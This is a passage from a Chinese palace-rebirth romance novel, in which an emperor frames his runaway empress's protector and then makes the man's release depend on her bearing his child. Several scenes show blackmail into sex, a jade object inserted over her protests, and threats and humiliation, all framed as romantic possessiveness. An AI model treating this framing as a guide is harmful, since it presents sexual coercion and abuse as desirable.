郁稚被带入卧房,再见萧歧,他整个人都愈加阴森凛冽,“这原本是你的卧房?” 他没有质问她其他, 反而是环顾四周打量着这件布置精致的卧房,纵然搬走许多家具摆件,也可窥见她的几分喜好。 “江一城对你真用心,难怪皇后要逃到杭州府来投奔他。” 男人幽幽阴冷的声音,激发了郁稚内心深处的恐惧,她屈膝跪下,一句话都说不出来,只任凭他处置。 皇帝却俯身蹲下与她平视,抬手穿过层叠的软烟罗,掌心轻轻覆在她平坦的腹,“所以皇嗣也是你串通戚离那个奸臣来哄骗朕的,好叫朕放松警惕,是不是?!” 郁稚无言以对,她无奈点了头。 男人手臂青筋虬结,扣住她的下颚低声狠厉道,“朕要你亲口告诉朕!” 郁稚知道他不会相信,一开始她以为自己真的怀了身孕,彷徨中是带着一丝喜悦的,然而上一世戚离与江一城都那么忠心,她不能置他们于死地。 郁稚:“是,是臣妾的主意。” 萧歧满意地起身,怒到极致反而似是释怀,“既然你不肯当朕的皇后,一心要走,朕就此放手,往后朕就要称呼一声江夫人了。” 什么?郁稚诧异地仰起头,“陛下不杀臣妾么?” 萧歧:“朕若要杀你,怎么会陪你演戏。明日朕会下赐婚的圣旨,你就等着接旨。” 这还是萧歧么?他怎么如此宽宏大量? “江夫人不肯离开,是等着侍寝么?”萧歧将她茫然的神情收入眼底。 不、不是、郁稚手脚并用爬起来,惊骇得无以复加,皇帝他真的就此放手么?可是她有很多话想告诉他。 “陛下明日就离开杭州城?” 萧歧:“没错,江夫人是不舍得朕?” 少女眼神殷切,“其实、其实、” “其实什么?”萧歧游刃有余,没有一丝一毫的不舍。 郁稚眼睛发酸,“不是我派暗卫杀你,上一世,不是我!我虽然有过这样的念头,可是我没有做!” “好,朕信了。”他眼神高傲,话虽这么说,完全是敷衍,根本不信她! 萧歧:“若没有什么要说的,你走吧,你再不走,朕就要后悔了。” 郁稚行了一礼,迅速逃离了卧房,外头不远处芍药等着她。 芍药一脸歉意:“娘娘,是陛下逼迫奴婢的,奴婢也不是什么她们以为的娘娘,自你走后,陛下将奴婢调到身边做御前宫女。” 郁稚:“那太好了,我还担心他为难你们。戚离呢?可有戚离的消息。” 芍药:“他被关在天牢里!陛下没有要他性命,已经是仁慈了。” 郁稚自身难保,她觉得这已经是最好的结局了,她再不敢出现在皇帝面前,等他一离开杭州府,她也会收拾行李离开! 与芍药告别后,郁稚回到自己西厢房,这一世萧歧说过要做一位仁慈的君王,他确实很仁慈,就此放手,两人都好过 *** 翌日清晨,圣驾启程离开了江府,郁稚悬着的心也落了地,她立即收拾行李。 江府却在此时乱了套!知府大人忽然变脸命人将江一城带走,关进了府衙大牢!原来皇城的钦差来江南追查宫中被盗窃的宝物,如今查到了江家头上,人证物证俱在,足以证明那几件宝物到了江一城手中,他还亲自去销赃! 这可是死罪!! 郁稚听到这消息,立即想到皇帝,皇帝的手段确实厉害!!他放过了她,却没有放过江一城!!什么下旨赐婚,什么就此放手,全是谎话!! 等郁稚心急火燎赶到君王下榻的院落,早就已经人去楼空了!! 江一城要见她,知府大人网开一面,允许二人在牢中相见。 江一城那样骄傲的一个人,为了接驾劳累数日,转眼就入了大狱,期盼的名声全部落空,江家就靠他一个人撑着,若是真定罪,那就永远翻不了身。 郁稚真恨自己,竟被皇帝抓住那样的把柄!! 郁稚:“你别急,我有法子救你!” 江一城:“你别忙,趁着此事还未牵连到你,你快收拾东西离开杭州府!!你的前夫并未什么恶霸,而是达官显贵,那些物件全是御造,我不是傻子,你别骗我!” 郁稚:“你不明白!” “我明白的,你不是陈幻香,对不对?”江一城隔着铁栅栏握住她的手。 原来他早就知道了 江一城:“你叫什么名字?可以告诉我么?” “郁稚、” 郁、稚、江一城轻念了一遍,忽得笑道,“好熟悉的名字,似在哪里听过。” 郁稚已经是泪流满面,她要救他,一定要救他!!她将手腕从江一城手中抽离,转身走得果断,她知道萧歧的脾性,断然不会放过她,他就是等着她低头,等着她声声哀求!! 离开牢房,知府大人的夫人正等候着她。 “陈姑娘!我家大人说这是皇帝下的命令,哪怕他与江举人再交好也不得不从,我家大人说圣驾没有走远,今夜会在城外往东二十里处的皇家驿站歇息,你若真想救江举人,不如前去亲自央求圣上!” 昨夜皇帝虽然寡言,但明眼人都瞧出来了,皇帝对江一城这位美若天仙的未婚妻很感兴趣,只是碍于君王的颜面没有开口,江一城是个聪明人,怎么会看不出来。若换作别人,昨夜早就将美人献上龙榻,江一城又是个痴情种,没有这么做的下场就是下牢狱,有性命之忧!! 转卖御造首饰,罪名说重也重,说轻嘛,皇帝人就在此处,他一句话就能释放江一城,就看眼前这位美人怎么做了。 知府夫人觉得,得皇帝赏识是天大的幸事,陈幻香只需要点一点头,大家都好过了,而她甚至可以从此飞上枝头。 郁稚没有迟疑,江一城对她忠心耿耿,她不能弃他于不顾!! 于是她登上了知府大人为她备好的马车,前去皇家驿站为江一城求情,这就是萧歧的厉害手段! 她到驿站时已经近黄昏,侍卫重重把守,不放她进去见皇帝。 郁稚真真走投无路了,她屈膝跪在驿站门口,若皇帝不肯放过江一城,那她打算跪死在这。 夜幕降临,芍药在驿站二楼的窗口看得揪心,“陛下,夜间寒凉,皇后娘娘的身子向来不算好,求陛下开恩,放皇后进来,否则奴婢真怕皇后娘娘晕厥过去” “她不是皇后,她是江夫人,记住了。”萧歧坐在椅榻前悠然地煮着茶,两世的背叛,他已是铁石心肠,此刻就是猛兽逗弄将死的猎物。 郁稚的运气实在不算好,半夜下起磅礴大雨,江南的天气夜间异常湿冷,雨点将她淋得浑身湿透。 侍卫们知她身份,皆时不时看向驿站二楼,皇帝连出来看一眼都不肯。 侍卫劝她,“你还是走吧还有两个时辰就天亮了,天亮之后我们就要启程,陛下不会见你的。” 此时驿站大门忽得开了,侍卫见走出来的人,立即退到一旁,“陛下” 郁稚满面雨水,怔怔地仰起头,一顶雨伞遮在她头顶,皇帝也在伞下,他衣冠楚楚,没有淋到一滴雨,反而是她浑身狼狈。 “听说,江夫人要见朕?”皇帝垂眸看着她这凄惨模样。 什么江夫人皇帝这是在故作不知情,他明知道那些御造的首饰是她要转卖的。然而郁稚也明白自己如今的处境,没有资格与他争辩,只能央求他,她双膝跪得麻木,冰凉的手一点一点揪住男人的衣摆,“我输了萧歧,愿赌服输,我任凭你处置,不要不要牵连旁人。” “旁人?江夫人不是在为自己的夫君求情么?怎么又成旁人了?”萧歧游刃有余地问她,“朕还亲自下了圣旨为你们赐婚,江夫人没收到么?!” 郁稚百口莫辩,她只剩下这条命了,她摘下头上的发簪塞到男人手心,“我知我罪恶滔天,你重生回来那一日就该杀我的。刺进心脏就能一击毙命,若这样能叫你消气的话。” 男人视线移动到手心那支精巧的发簪,连同雨水一道落在他手心。 “江夫人的意思是,要以自己的性命救你夫君的性命?” 第74章 第 74 章 你要叫我江夫人到什么时…… 入夏之前夜间春雨淅淅沥沥, 或许是觉得在侍卫面前说这些话有失身份,萧歧终于将她带入皇家驿站。 萧歧:“你打算一直跪在驿站门口,就这么笃定朕会见你?!!” 郁稚浑身湿透,跪在驿站卧房冰冷地面瑟瑟发抖, “陛下你使这般的计谋, 不就是为了逼迫臣妾来求你么?”萧歧的手段向来厉害, 只是上一世没用在她身上罢了。 郁稚:“你从来都不肯放我走, 你选择下榻江府,知道我听到风声会跑, 于是你事先命人将府邸团团围住, 叫我插翅难飞。所以什么赐婚都是假的。” 皇帝笑了,“皇后说得不错,其实朕早就到杭州府了,朕想知道你过得如何,所以跟踪过你一段时日。原来江一城待你很好,包下画舫携你游湖, 与你一道去天醉楼,照顾得你无微不至。他甚至对外称你是未过门的妻子。” 萧歧:“朕很疑惑, 朕的妻子怎么就成了旁人的未婚妻!!!他给你的东西, 朕哪样没有给过你?!穷奢极欲的生活、滔天的权势、朕甚至给得更多更好!” 郁稚想起当日游湖, 画舫边上出现的那艘华丽宝船, 还有岸边的那几辆马车,果然萧歧就在其中!! 郁稚解释:“我冒用了她江一城未婚妻的身份,他不知我真实身份,更不知我已经成亲,所以他是无辜的,我不想牵连他” 萧歧:“上一世助纣为虐的奸臣, 也配说无辜么?!!你以为朕不知道,前世你有多宠他江一城!你讨来杭州府,就是为了投奔他是么?!” “可是这一世他还没考取功名,那些首饰也是我要他典当售卖、”郁稚殷切地央求道,“你不是说这一世要当一位仁慈的君王,别因为他而前功尽弃,陛下,臣妾求你” 郁稚:“我知你生气全是因为我,不要牵扯别人,横竖我的小命已经被你拿捏在手心,你尽管处置我我都认,这一世原该是我以命赎罪!” 男人眉峰微扬,居高临下地望着她,哪怕郁稚已经泪流满面,他也丝毫不心软,“朕不着急处置你,朕此时很好奇你前世究竟有多少男宠?先是李勋、戚离、江一城,若朕没有找到你,皇后预备下一步去找谁?!” “他们不是男宠,我从来没有男宠。”纵然她小命难保,这件事她还是要辩一辩的,郁稚轻轻挪动膝盖靠近男人,“欺哄你皇嗣之事是我的过错,我也知道你想要一位储君” 皇帝正视少女,等着她继续往下说。 少女黑白分明的眼眸直勾勾地望着他,“若我从现在开始乖乖留在你身边,为你诞下一直想要的皇嗣,陛下可否将江一城从大牢里释放出来”她一无所有,就只有这一副躯体。 许久,萧歧才像是终于听懂她的意思,笑了,“你在勾引朕?”低沉的声音透着暧昧,既是得意又是嘲讽。 郁稚跪在他面前,知道唯独自己抛弃所有尊严、所有羞耻心才能救回江一城。 “对,我在勾引你。”她气息微乱,浑身湿透,双眸红肿,可怜得无以复加。 “那江夫人觉得,身为别人的妻子,勾引朕对么?”萧歧支着下颚,好整以暇,故意这么问她。 他欣赏着她的纠结彷徨、她的黯然神伤,郁稚无法回答,于是就沉默了。 “不过朕觉得,你顶着清纯无辜的脸说这样的话,还挺有意思。”萧歧语气暧昧,俯身逼近,“人到穷途末路之时,真是什么卑劣手段都会用!!!” 伴着春雷,夜间皇家驿站外雨势更盛。 男人的眼神里充斥着鄙弃,他伸手指尖轻轻触碰她因为受寒而发白的唇瓣,郁稚眼神直勾勾地与他对视,启唇轻轻含住他的指节。 “可以,朕答应了。” 郁稚困惑:“答应什么?” “你不是要给朕子嗣么?朕确实需要一位皇储来堵住那群臣子的嘴。不如我们做个约定,等江夫人何时为朕诞下子嗣,朕就何时释放你的未婚夫婿如何?” 事到如今,她还有讨价还价的余地么? 郁稚:“好” 萧歧:“那眼下第一件事,就是将那个男人替你置办的衣裳首饰尽数脱下来,一件不留!”他的目光落在她黏连身上的衣料。 她颤抖不止,夜雨寒凉,照着他的吩咐去做,男人将她的衣料捏在手心,仔细摩挲打量,“无论是衣料还是刺绣剪裁都没有宫中的衣裳好,粗制滥造!” 她身上只余抱腹与白色衬裙,皇帝视线移过去,顿时蹙眉不满,“朕说一件不留,江夫人是听不懂么?” 郁稚此时此刻没有办法完全摒弃羞耻心,又因有求于他无法强势拒绝。 她别开视线,“先去内室” 皇帝哪里肯大发慈悲,“看来江夫人救夫也并非那么心切。你不褪下这粗制滥造的衣裳,朕就没有心思碰你,朕不碰你,你一日怀不上龙嗣,那位江举人就得在牢狱中煎熬一日!!!” “去内室好不好”她小声呢喃坚持。 男人环起手臂,丝毫不因她垂泪欲泣的神情而心软半分,只是瞧着她,与她耗着,横竖来求人的是她自己!! 郁稚不得不颤抖着解开了抱腹。 或许是嫌她过于磨蹭,皇帝起身拽起她往内室去!! *** “其实重生回来这么久,朕一直有个问题想问皇后。”男人危险的声音自背后响起,“跪好!” 驿站的榻自然不比宫中宽绰舒适,窄窄的一方小天地,发出木板嘎吱声,郁稚几乎跪不住,自己选的路,此刻又觉得屈辱极了。 他的手臂强势环在她腰腹间。 “说说看,上一世皇后是如何与这群年轻的臣子还有你的父兄商量弑君的?!!”他在她背后,这句话的每一个字似碾在齿间,语气又是那样幽然可怖,深入骨髓的恨意! “怎么谋划的?说!”男人问着这样的问题,想做的事却不曾停下,几乎是惩罚地、 此时的称呼又从江夫人变成了皇后。 水深火热,郁稚脑子一片空白,只徒然生出这四个字,他对她实在是太狠了。 郁稚刚想说她没有参与谋划弑君,皇帝再度质问,“可是与你那几位心爱的宠臣在华丽的凤榻间,一边这样欢愉,一边商量怎么杀了朕!!!皇后,是不是这样?!!” “没有!臣妾、臣妾、没有谋划弑君!”她连一句完整的话都说不了,他愤怒惩罚着她。 衬裙堆砌在腰间,跪着更显她体态婀娜,这小半年来长得愈加丰腴,却是恰到好处的玲珑有致 翌日郁稚醒来时,已是雨过天晴,驿站狭窄的榻上,除了她就只余下凌乱污浊的褥子,皇帝早已经不知去向。 难道这是他的戏弄?欺辱了她又离开驿站回皇城,也不释放江一城么? “起来,将汤药饮了。”男人忽得掀开幕帘,手中端着一碗汤药,郁稚正抱着膝盖沉思,如同小白兔一样被结结实实吓了一跳。 “这是什么药”郁稚眼神防备。 “哪怕是毒药,朕命令你饮你也得饮下!!”萧歧将药碗塞给她,盯着她喝。 确实,以她现在的处境,没有资格问这种话。 她捧起药碗一饮而尽,这熟悉的苦涩味道,郁稚立即尝了出来,“怎么是避子汤?”她看他的眼神似在询问,难道不是他要子嗣么? 萧歧笑了笑道,“三个月后就不用吃药了,否则朕怎么知道江夫人怀的是江一城的孩子,还是朕的子嗣?!” 乍听到这话,郁稚神情是凝滞的,这、这也太伤人了,她不是那样的人啊 “我与江一城没有肌肤之亲,你在江府住过,也知道我住西厢房,江一城住在别处,所以我们”郁稚仍是耐心解释了。 “上一世也没有么?”萧歧显然不信她,她的谎言那么多!! 郁稚不言语了,如今她说什么他都不信的 皇帝将她手中药碗抽离,冷眼瞧着她身上。少女曲起的膝上肌肤红彤彤的,昨夜他命她跪了一整夜,也怪这皇家驿站的褥子太过粗糙,不似宫中蜀锦那么软绵。 萧歧:“江夫人真是娇气!”他语气透着鄙弃,明明他才是始作俑者。 又抬手拨开她的膝,继续打量着她伤处,“真可爱。”说完垂首轻轻啄吻了她磨红的膝,郁稚仿佛被烫了一下,瞬间移开自己膝。他语气的转换,并没有安慰的意思,反而叫郁稚更难受了,他在夸赞一件玩物。 “这一招确实能叫朕消气,江夫人再接再厉。”他抬眸看向她的眼神是跃跃欲试,是志在必得,也是在看一个卑贱之人。 郁稚抱着膝,忍不住小声抱怨,“你到底要叫我江夫人到什么时候” 第75章 第 75 章 温顺 郁稚抱着膝小声抱怨, “你到底要叫我江夫人到什么时候” 皇帝嗤之以鼻:“朕有叫错么?不是你们二人求朕赐婚么?!江、夫、人、”这三个字狠狠碾磨在齿间。 今日皇帝似乎并不打算启程回皇城,他俯身轻轻啄吻在她颈间,“躲什么?不是要给朕孕育皇嗣,这可是昨夜你自己亲口说的。” 天已经大亮, 她听见驿站二楼廊下来往的脚步声, 皇帝却是置若罔闻, 瞧着她躲闪, “你这样,何时才能怀上?” 皇帝原是没有子嗣的念头, 都是被她勾起来的。孤身两世, 拥有一个完全属于他的孩子,想想都叫他期待。 郁稚实在是不堪承受,“不是你说信不过我,要三个月后才、” 萧歧眼神直勾勾地凝视着她,完全一副狡猫逗鼠的姿态,“那你希望回皇城路上这三个月, 朕去宠幸旁人么?若是旁人比你先有孕,你我的约定就不作数了。” 半推半就, 清晨的时光尽数倾付于此。 廊下渐渐安静, 郁稚浑身紧绷, 或许是侍卫听见了里头的动静不走动了, 她羞愧得无以复加,不敢言语不敢动,仅凭男人兴风作浪。 男人上一世有多宽容大度,此刻就步步紧逼有多铁石心肠 “记得再饮一碗避子汤。”事后原该温存的时光,他口口声声命令道。 “既说三个月,那你就、”郁稚被他弄得眼眸含泪, “就不要在里面、” 皇帝在她一次次背叛中,早就疯了,扣着腰身与她额头相抵,“你说得不错,可架不住朕喜欢。特别是别人的妻子、真是有意思、” 郁稚气恼地抬手捂住了他的嘴! “我没有打算要嫁他!” 萧歧生生地掰开她的手腕扣在枕边,“你说的话,朕一个字的都不信!”他唇角扬起微微笑意,“你说没有打算嫁他,那江一城可是对知府说你们要成亲了,还请他主婚,他家老夫人还要认你做干女儿,从知府家中出嫁。只可惜朕来得太早,否则或许能蹭一杯喜酒喝!” 萧歧:“不过既然你要为朕孕育皇嗣,你们这婚自然是成不了了,那江一城也该好好认清你的身份。他就在外头候着,朕传他进来如何?” “不、不要!”她这副模样怎能见人,他就是要羞辱她。 所以她方才听到的脚步声是侍卫押着江一城上驿站二楼?!少女崩溃地看向皇帝,萧歧他完全没有羞耻之心。 “与其同他解释,倒不如现在叫他进来,看看你这幅样子!至于他得想到你是皇后,还是以为你攀龙附凤,或者是感动于你为了救他委身于朕,就任凭他去想。” 郁稚与皇帝对视着,知道他并非玩笑! “你疯了,萧歧!” “你该说朕怎么此时才疯!”萧歧狠声反驳,“上一世身死魂灭,埋在沙场那个时候朕就已经化作冤魂了!” 郁稚知道他说到做到,必定会放江一城进来,于是她仓皇地寻找散落在榻缘的衣裳。 “你还敢穿这他买给你的衣裳?!”萧歧踢开她原本褪下的那些衣裳。 那些衣裳确实是江一城的银子所置办 皇帝将榻边一身干净的衣裳丢给她,而后站在榻边,欣赏着她一件一件穿戴,“这么磨蹭?要朕等你。” 郁稚焦急狼狈,虽然躯体遮掩起来,眼角眉梢间仍是透着情、事过后的余韵。 她还没系好衣带,便见萧歧稳步走向房门,郁稚立即跳下榻,踉踉跄跄拽住他,“等等,你等一等” 萧歧我行我素打开房门,门外竟然空无一人,郁稚仓皇神情还挂在脸上,此时的她真成了一个笑话。 萧歧这个大骗子!他就是要作弄她! 郁稚有苦难言,但见男人扬了扬眉梢,“朕要下去用膳,江夫人也一起么?” 她摇头,头发也没绾好,方才情急之下没有穿鞋,此刻正赤着一双足立在地上。 萧歧眼神轻蔑地瞥了一眼,就甩开她的手走了。 郁稚收拾好自己才往下走,沿途经过那些侍卫,都是皇帝身边用惯了的人,他们虽然嘴上恭敬称她为皇后,但郁稚仍是羞愧难当。 下楼到花厅,驿站的人早已备好了丰盛膳食,两副碗筷。 郁稚饥肠辘辘,刚要坐下,皇帝便道,“一个庶人也敢与朕坐在一道用膳?来人,将这副碗筷收走。” 这多的一副碗筷是芍药为郁稚摆的,她不得不照着皇帝的吩咐做了。 郁稚立在膳桌边,倒也没多气恼,事到如今她没有什么可抱怨的。 只是这副碗筷早就摆上了,他偏要等她下来再这样吩咐,明显是欺负她。 “过来,伺候朕用膳。”萧歧又吩咐道。 郁稚无敢不从,亲自替皇帝舀了汤羹,她从昨日起就空着肚子,此刻饿得脑子发昏。 皇家驿站接驾,备的都是山珍海味,桌上唯独一碟白馒头显得寡淡无味。 末了,皇帝将这一碟白馒头赏赐给她,这是当着侍卫宫人的面欺负她,郁稚双手抓起白馒头,一小口一小口地啃。 皇帝就这么饶有兴致地瞧着。 郁稚吃一个就饱了,还余下四个馒头。皇帝道:“御赐的东西,你敢不要?” “朕劝你还是收好,今日没别的东西给你吃了。” 郁稚立即将四个馒头都藏入袖口,两世都过惯了富贵日子,这种苦已经很久没吃过了。 皇帝吩咐下去,这几日都在驿站休息。 郁稚瞧着有希望,等回到二楼卧房,她打了打腹稿后央求皇帝,“横竖我都会随你回皇城,子嗣也是迟早的事,不如你先放了江一城” “迟早的事?”萧歧一开口满是嘲讽的语气,“你这么笃定你能怀上朕的孩子?一切照着约定来,何时生下皇嗣,朕何时下令释放江一城。不过在这之前,朕会除了他举人的身份!” 十年寒窗苦读,考中举人是何尝不易。 “他前世没有害过你,真的,他能力卓越,将来必定能考中科举,你若将他收为己用、” “天下能人何其多,朕怎么可能用一个觊觎皇后之人!”萧歧驳斥她,虽然这个商贾出身的江一城能力确实不错,能结交知府,并且将接驾一事办得妥妥帖帖。 萧歧:“除非” “除非什么?”郁稚抓住一丝希望。 男人似乎是想到什么有趣的事,“朕命人将他押到驿站,你去亲口告诉他,你是个爱慕虚荣的女子,不会嫁他作妻,说你已经与朕有了肌肤之亲,要随朕回皇城,叫他不要再痴心妄想!” “好,我说我说”郁稚没有犹豫就答应了。皇帝的这个要求并不过分,只要她摒弃尊严就可以做到。 皇帝真命人骑马回城,去将江一城押来。 郁稚心如死水,心中编排着一会儿该如何说,她不介意江一城如何看她,将她当做攀龙附凤的女人也好,她只要救江一城出牢狱。 未过多时,侍卫禀告说知府大人亲自押着江与一城前来谢罪,此刻人就关在驿站后头的柴房里,等候皇帝发落。 郁稚起身要下去见他。 “等等、”皇帝将人叫住,强势牵着她来到屏风后头。 “陛下要做什么?”郁稚就知道,皇帝不会那么轻易放过江一城。 皇帝不言语,只是俯身靠近,将她按在墙角间,他阴晴不定叫人难以捉摸。不知何时他掌心握着件玉雕。 “朕不放心江夫人单独去见未婚夫。” 郁稚简直难以启齿,“你出宫,随身带着这种物件?” 萧歧笑了,“朕出宫是来寻你的,在你消失的数月,朕每日想的都是等找到了人,该如何惩罚折磨。” 玉雕精致微凉,郁稚蹙眉。 “江夫人不要动。”他覆在她耳边轻轻耳语,手上动作却强势。 萧歧:“朕不想伤了你,你乖一点好不好?” 萧歧他真疯了! 屏风之后,少女靠在墙角,眸光晶莹羸弱,泪水将落不落,一双手攥成拳头捏在他胸口。 “朕吩咐你去告诉江一城什么,来复述一遍给朕听!”他的气息并不是那么稳了,甚至有些兴奋急切。 郁稚脑子里全是那件玉雕,很凉,真的很凉。 “你欺负人”郁稚委屈控诉。 “你我之间,究竟谁欺负谁多一点?”萧歧质问,“现在,复述一遍,否则朕不许你走。” 他就是要羞辱她,郁稚咬了咬唇瓣,“告诉他,我是个爱慕虚荣的女子,告诉我不会嫁他,让他断了这个念头,告诉他我要随你回皇城。” “是不是还漏了一句?”萧歧锱铢必较,不肯放过她。 郁稚:“告诉他,我已经与你有了肌肤之亲。” 皇帝总算满意,抬手推她,“现在下楼,将这番话原原本本告诉他,江一城从此就自由了。” 郁稚几乎不会走路,踉跄一下险些摔倒,还是萧歧有先见之明从身后揽住了她的腰。 “不许、掉下来、”他的语气轻佻,完完全全就是戏弄她! 郁稚被欺负得没有了脾气,温顺极了。 第76章 第 76 章 不是你要给朕生孩子么?…… 江一城一身傲骨似被打断, 双手以铁链束缚,来的路上知府大人同他说了很多话,说他再富裕也不过是个举人,像陈幻香那等倾国倾城的女子, 非他所能馆藏之。 “你不想想, 她父母双亡, 从何而来那么多御造且价值连城的首饰?” “你真是色令智昏, 问也不问这么帮着她转卖这些首饰,引来杀身之祸!” “如今天子瞧上了她, 她自然会舍你奔那泼天的富贵, 待会儿你面圣,只需要磕头谢罪就成!” 江一城却道:“她并非寻常贪慕富贵的女子!她不嫁我,也断然不会攀附皇权!” 知府知他不死心,“皇帝既肯见你,必定是陈幻香已经吹过枕边风,她要救你, 你千万别辜负她一片苦心!” 郁稚下楼来到柴房,知府大人与侍卫们等候在门外, 郁稚跨入门槛, 转身合上房门。 江一城虽然戴着镣铐狼狈, 但显然没受过刑。 “他有没有为难你?!”江一城一见她就冲上来, 神情紧张地打量她,“有没有受伤?” 郁稚挣脱开来,“我没事,我只是来告诉你,陛下会宽恕你的罪行,你见陛下只需要谢罪, 而后可以跟着知府大人回城了。” 江一城何等聪慧,“是不是他逼迫你?你听我说,哪怕他是天子我也不会屈服!!” 郁稚太了解江一城的脾性,若换作戚离他必定会蛰伏起来,静待时机带她离开,但江一城是会与敌人玉石俱焚之人,“他没有逼迫我!我原本就不愿嫁你,如今天子他、他喜欢我,要带我回皇城,这等千载难逢的机会,天下任何女子都不会拒绝、” 江一城依然不信,“天下任何女子都不会拒绝,但是你会,你说过你厌恶皇城那座樊笼,说你再不愿意回去的!!” “我已经与他有了肌肤之亲。” “那又如何?!他身为皇帝还能强娶你不成?!” 郁稚见他这般执拗,无奈只能说出实情,“你还记得我同你说过在皇城,嫁过人么。我不是陈幻香,我确实嫁了人,那个人就是、就是他、” 江一城双眸流露惊骇神情。 郁稚:“我与他之间的事是个死结,原以为离开皇城就好了,可他不放手,所以我要随他回皇城了,至于你,你是被我无辜连累之人” “你是皇帝的妃嫔?!”江一城难以置信。 “是” “可你不想回皇城了是么?”江一城又问。 郁稚却是不想再回皇城。 “你为了我不得不妥协?!不,我不要你为我妥协!!郁稚、” “皇后的名讳,岂是你能喊的?!”萧歧就在此时推门进来,郁稚不知他站在外面听了多久。 “皇后”江一城眼底更是绝望,原来住在他家小半年的女子是当今皇后?!而自己爱慕于她,几次三番求娶,难怪她有那些御造的首饰,他以为她只是权贵之妾 萧歧望着眼前孤勇的少年,上一世是他太仁慈,任由这些年轻的臣子围绕在皇后身边,他本可以杀了他们,但顾忌着夫妻之间的感情,并没有下杀手,反而愈加放纵这些人!! 如今他完全掌控全局!! “朕给你两个选择,一是朕可以放她走,但你私藏皇后,是抄家的死罪。二你即刻在朕面前谢罪,而后滚回城去!!” 江一城望向郁稚,她竟是皇后是皇帝的结发妻子他又有什么资格争呢 他不得不磕头谢罪,任由知府大人带他离开了驿站。 然而不论是萧歧还是郁稚,都看到了少年眼底的倔强,像这样的人,他是不会屈服的。 郁稚的心终于稳稳落了地,这一世她不想再牵连任何人。 萧歧:“皇后,你说他会从此一蹶不振,还是发愤图强?” 郁稚隐隐有预感,四年后的科举,江一城必定会一鸣惊人。 郁稚侧首看向他,“又开始叫皇后,不叫江夫人了?”如此揶揄一句,抬步往楼上去。 听着身后跟上的脚步声,郁稚又加快步伐,进了房关门,皇帝先她一步抵住门,挤身进入卧房。 “皇后这是没了把柄在朕手里,开始放肆了?!”他轻轻一推就从她背后将人按在墙上,一字一句磨在齿间。 郁稚异常困倦,只想休息。 “昨日怎么央求朕的,全忘光了。”他指尖往下,“玉件,还给朕。” 她羞愤欲死! “乖还给朕、” 精致温润的玉件沾染她的体温、她的气息,缓缓落在他掌间,男人明显兴奋些,附在她耳边轻轻赞叹,“好乖” “早该如此,是朕疏忽了,上一世行军打仗,就该将你带在身边,免得皇后常年深宫孤寂,养了这些个年轻臣子助纣为虐!”他把玩着玉件,“哪怕朕分身乏术,也该以此慰藉皇后、” 郁稚气恼地用捂住他的嘴!! “你从前不是这样口无遮拦的,如今远离皇城,愈加过分了。” “是啊,这是拜谁所赐?朕上一世的心性也是极好的!” *** 翌日清晨,皇帝一行人离开皇家驿站,既然已经来了江南,倒不如沿途巡查何工,考察官员政绩。 两人同坐一辆马车,郁稚离他远远的,皇帝靠在车壁上看书,“这段时日可有读书?躲在江府数月,都在做些什么?” 郁稚翻脸比翻书都快,如今江一城安然无恙了,她也懒得再装,不过生硬地说了两个字,“闲着。” “所以课业都荒废了?”皇帝对眼前的女子真的再没有一丝的期许,“郁稚你就是这样的人,顽劣难教,本性就是坏的。朕重生回来时想的是你自幼无人抚养,后来又被瞿氏教坏了。可后来朕悉心教你四书,你仍是这般。” 郁稚眼眸低垂,无动于衷。 “回宫之后,无论你有没有身孕,朕都会废了你的皇后之位。” 她仍是不言语,萧歧没了耐心,“过来、” 郁稚:“我累了,想休息。” 萧歧:“我们离开城池还不远,你不会想朕派人回去,杀了上一世那个奸臣吧?” 郁稚于是坐到他身旁,皇帝强势地将人捞到腿上,“离午间休息的驿站尚且很远” 郁稚顿时骇然,“这是在马车上!”外头多少侍卫!他、他还要不要脸! 男人眼底含笑,“不是你要给朕生孩子么?” 郁稚:“” 萧歧:“你看,朕稍稍仁慈,你就惫懒了。”抬手摘下她的金簪,任由一头青丝披散肩身。 入夏前夕,白日艳阳高照,放下帘子马车里头闷热,郁稚额头脖间微微渗汗,显得她肌肤晶莹水润,瓷白透红,美轮美奂。 皇帝重重将她按在怀里,外头是哒哒马蹄声,官道上偶尔有商队经过。 郁稚整个人都是绷紧的,最终选择埋首他颈窝,男人脖间锁骨分明,在皇城两年肌肤也养回来了,汗津津的,听着他偶尔暧昧急促的气息,她只求一切快些结束。 “怎么这么懒?”萧歧笑道,下颚轻轻蹭到她细软的头发。 “专心一些,不是要给朕生孩子么?” “你知道么?这种时候皇后的声音特别悦耳,朕很喜欢。” 郁稚咬着唇瓣、简直想就这么扼死他! 萧歧侧眸看着她欲泣的神情,变本加厉继续道,“原本不想为难你,谁叫你不理朕?记住这个教训。” 郁稚忍无可忍又捂住了他的嘴! “你别说了!” “好啊。”皇帝将人揽住,轻轻折磨,“朕问你最后一个问题,回宫之后你想被关在未央宫还是朕的寝宫?” 郁稚不言语,于是皇帝又更加气恼 她缩进角落,看他的眼神里满是怨恨,整个人都是凌乱破碎的,眼角还挂着泪水。 “不要动、”萧歧从袖口中取出玉件,俯身靠过去,“不是要给朕生孩子么,就这样,今日戴一天,夜里朕会检查。” 除去午间休息的时光,他们几乎行了一整日的路,又坐船行水路,原本预估两日的路程,生生压缩到了一日,将近午夜时分抵达苏州府。 城中没有宵禁,正是最热闹的时候,他们没有住城外清净的皇家驿站,而是择了一处热闹的客栈住下。 两人都是头一回来江南,郁稚困在江府数月,也没怎么真正游览江南风光,从客栈二楼探出去头,瞧着外头游人如织,各色精巧有趣的玩意,听着吴侬软语,她觉得有意思极了。 “换一换衣裳,随朕出去。”萧歧命令道。前世只顾着闷头打仗驰骋疆场,第一次感受江南的风土人情,萧歧也觉得有意思。 那玉件还在她体内,况且郁稚一点儿也不想和皇帝独处。 “我累了,我不去。” 萧歧哂笑,“事到如今,你这么还敢违逆朕的意思?去,更衣,穿得赏心悦目些。” 郁稚:“你自己去。” 萧歧见识过她的倔强,与她说道理是说不通的,“行啊,那朕也不去了,你沐浴更衣过来伺候朕,争取早日怀上子嗣。” 郁稚:“!!”现在的萧歧真是个执拗的疯子!!他究竟是怎么做到面不红心不跳地说这些话的!! 第77章 第 77 章 讨好 两人一道离开客栈, 步入热闹街市,身后还跟着几个侍卫,郁稚知道自己跑不掉,于是认命跟在萧歧身后。 “诶?你等等呀。” 皇帝一味往前走, 郁稚险些跟不上, 她小跑几步揪住他的衣袖, 萧歧回首瞧瞧自己的衣袖, 毫不留情地将人甩开,“你自己不会走快一些么?” 郁稚脸颊通红, 昂起头一双美目瞪着他。 萧歧终于想起什么, 扬了扬眉转身继续往前走,“还不跟上来。”这一回倒是放慢了步伐。 